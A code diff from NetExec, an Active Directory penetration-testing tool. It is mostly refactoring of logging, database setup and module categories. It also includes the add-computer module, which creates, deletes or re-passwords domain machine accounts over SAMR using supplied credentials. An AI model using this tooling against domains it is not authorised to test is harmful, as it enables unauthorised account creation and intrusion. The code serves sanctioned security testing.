certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
|
||||
|
||||
+12
-5
@@ -135,6 +135,8 @@ class connection:
|
||||
self.db = db
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
@@ -159,11 +161,6 @@ class connection:
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
@@ -178,6 +175,8 @@ class connection:
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -243,6 +242,14 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
|
||||
@@ -6,6 +6,7 @@ audit_mode =
|
||||
reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
||||
Binary file not shown.
+39
-21
@@ -6,13 +6,15 @@ from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData, func
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy import Table, create_engine, MetaData, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
@@ -57,25 +59,15 @@ def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
db_engine = create_db_engine(proto_db_path)
|
||||
protocol_object.database.db_schema(db_engine)
|
||||
db_engine.dispose()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
@@ -110,7 +102,7 @@ def initialize_db():
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
@@ -127,8 +119,8 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
@@ -136,7 +128,7 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
@@ -159,6 +151,32 @@ class BaseDB:
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def reflect_table(self, table):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
|
||||
|
||||
# Check for column addition / deletion
|
||||
reflected_columns = set(reflected_table.columns.keys())
|
||||
orm_columns = {column.name for column in table.__table__.columns}
|
||||
if reflected_columns != orm_columns:
|
||||
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
|
||||
|
||||
# Check for constraint changes
|
||||
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
|
||||
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
|
||||
if reflected_constraints != orm_constraints:
|
||||
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
|
||||
|
||||
return reflected_table
|
||||
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
|
||||
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
|
||||
nxc_logger.debug(e)
|
||||
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
|
||||
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
|
||||
nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
|
||||
@@ -24,3 +24,18 @@ class DefaultTrackingAction(Action):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
@@ -4,6 +4,7 @@ import struct
|
||||
import uuid
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class Substitution:
|
||||
@@ -45,7 +46,7 @@ class Substitution:
|
||||
elif self._type == 0xf:
|
||||
return str(uuid.UUID(bytes_le=value.data))
|
||||
else:
|
||||
print("Unknown value type", hex(value.type))
|
||||
nxc_logger.display(f"Unknown value type {hex(value.type)}")
|
||||
|
||||
|
||||
class Value:
|
||||
@@ -70,7 +71,7 @@ class Attribute:
|
||||
elif next_token[0] == 0x0e:
|
||||
self._value = Substitution(buf, offset + 1 + self._name.length)
|
||||
else:
|
||||
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
|
||||
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
|
||||
|
||||
self.length = 1 + self._name.length + self._value.length
|
||||
|
||||
@@ -123,7 +124,7 @@ class Element:
|
||||
elif next_token == 0x0e or next_token == 0x0d:
|
||||
element = Substitution(buf, ofs)
|
||||
else:
|
||||
print("Unknown intern next_token", hex(next_token), hex(ofs))
|
||||
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self._children.append(element)
|
||||
@@ -135,7 +136,7 @@ class Element:
|
||||
ofs += 1
|
||||
break
|
||||
else:
|
||||
print("Unknown element next_token", hex(next_token), hex(ofs))
|
||||
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self.length = ofs - offset
|
||||
@@ -145,11 +146,11 @@ class Element:
|
||||
return ""
|
||||
|
||||
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
|
||||
|
||||
|
||||
attrs = " ".join(attrs)
|
||||
if len(attrs) > 0:
|
||||
attrs = " " + attrs
|
||||
|
||||
|
||||
if self._empty:
|
||||
return f"<{self._name.val}{attrs}/>"
|
||||
else:
|
||||
@@ -181,7 +182,7 @@ class TemplateInstance:
|
||||
|
||||
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
|
||||
else:
|
||||
print("Unknown template token", hex(next_token))
|
||||
nxc_logger.display(f"Unknown template token {hex(next_token)}")
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._xml.xml(self)
|
||||
@@ -196,7 +197,7 @@ class BinXML:
|
||||
elif next_token == 0x01 or next_token == 0x41:
|
||||
self._element = Element(buf, offset + 4)
|
||||
else:
|
||||
print("Unknown binxml token", hex(next_token))
|
||||
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
|
||||
|
||||
self.length = 4 + self._element.length
|
||||
|
||||
|
||||
+97
-1
@@ -1,10 +1,13 @@
|
||||
from enum import Enum
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
from time import strftime, gmtime
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
@@ -146,3 +149,96 @@ def detect_if_ip(target):
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def d2b(a):
|
||||
"""
|
||||
Function used to convert password property flags from decimal to binary
|
||||
format for easier interpretation of individual flag bits.
|
||||
"""
|
||||
tbin = []
|
||||
while a:
|
||||
tbin.append(a % 2)
|
||||
a //= 2
|
||||
|
||||
t2bin = tbin[::-1]
|
||||
if len(t2bin) != 8:
|
||||
for _x in range(6 - len(t2bin)):
|
||||
t2bin.insert(0, 0)
|
||||
return "".join([str(g) for g in t2bin])
|
||||
|
||||
|
||||
def convert(low, high, lockout=False):
|
||||
"""
|
||||
Convert Windows FILETIME (64-bit) values to human-readable time strings.
|
||||
|
||||
Windows stores time intervals as 64-bit values representing 100-nanosecond
|
||||
intervals since January 1, 1601. This function converts these values to
|
||||
readable format like "30 days 5 hours 15 minutes".
|
||||
|
||||
Args:
|
||||
low (int): Low 32 bits of the FILETIME value
|
||||
high (int): High 32 bits of the FILETIME value
|
||||
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
|
||||
|
||||
Returns:
|
||||
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
|
||||
special values like "Not Set", "None", or "[-] Invalid TIME"
|
||||
"""
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
|
||||
if not lockout:
|
||||
if low != 0:
|
||||
high = abs(high + 1)
|
||||
else:
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
try:
|
||||
minutes = int(strftime("%M", gmtime(tmp)))
|
||||
hours = int(strftime("%H", gmtime(tmp)))
|
||||
days = int(strftime("%j", gmtime(tmp))) - 1
|
||||
except ValueError:
|
||||
return "[-] Invalid TIME"
|
||||
|
||||
if days > 1:
|
||||
time += f"{days} days "
|
||||
elif days == 1:
|
||||
time += f"{days} day "
|
||||
if hours > 1:
|
||||
time += f"{hours} hours "
|
||||
elif hours == 1:
|
||||
time += f"{hours} hour "
|
||||
if minutes > 1:
|
||||
time += f"{minutes} minutes "
|
||||
elif minutes == 1:
|
||||
time += f"{minutes} minute "
|
||||
return time
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
if args.list_modules and args.list_modules.lower() != category.name.lower():
|
||||
continue
|
||||
if len([module for module in modules.values() if module["category"] == category]) > 0:
|
||||
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
|
||||
for name, props in sorted(modules.items()):
|
||||
if props["category"] == category:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
|
||||
|
||||
class CATEGORY(Enum):
|
||||
ENUMERATION = "Enumeration"
|
||||
CREDENTIAL_DUMPING = "Credential Dumping"
|
||||
PRIVILEGE_ESCALATION = "Privilege Escalation"
|
||||
@@ -31,4 +31,4 @@ def parse_challenge(challange):
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
return target_info
|
||||
+4
-4
@@ -129,8 +129,8 @@ class myPKINIT(PKINIT):
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
print("Generating DH params...")
|
||||
print("DH params generated.")
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
@@ -488,8 +488,8 @@ def pfx_auth(self):
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
|
||||
@@ -8,6 +8,7 @@ from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -30,6 +31,9 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
|
||||
self.logger.fail(f"{module_path} missing the category variable or invalid category")
|
||||
module_error = True
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.fail(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
@@ -92,6 +96,7 @@ class ModuleLoader:
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"category": module_spec.category,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
|
||||
+10
-1
@@ -101,7 +101,12 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("certipy").disabled = True
|
||||
logging.getLogger("aardwolf").disabled = True
|
||||
logging.getLogger("unicrypto").disabled = True
|
||||
logging.getLogger("asyncio").setLevel(logging.ERROR)
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
logging.getLogger("pypsrp").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""Format msg for output
|
||||
@@ -175,7 +180,11 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
try:
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,6 +14,7 @@ class NXCModule:
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
+99
-130
@@ -3,12 +3,13 @@ import ldap3
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
@@ -16,6 +17,7 @@ class NXCModule:
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -28,9 +30,6 @@ class NXCModule:
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
@@ -59,48 +58,30 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
self.__nthash = connection.nthash
|
||||
self.__lmhash = connection.lmhash
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add(context)
|
||||
self.do_samr_add()
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
self.do_ldaps_add()
|
||||
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
def do_samr_add(self):
|
||||
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
@@ -121,39 +102,41 @@ class NXCModule:
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
# Get the list of domains
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
|
||||
self.context.log.fail("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
self.context.log.fail(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
|
||||
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
self.context.log.debug(f"Opening domain {selected_domain}...")
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
|
||||
# Get handle for existing computer account
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
@@ -161,72 +144,68 @@ class NXCModule:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.context.log.debug(f"samrOpenUser failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
# Add computer account
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
try:
|
||||
user_handle = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
)["UserHandle"]
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
|
||||
return
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
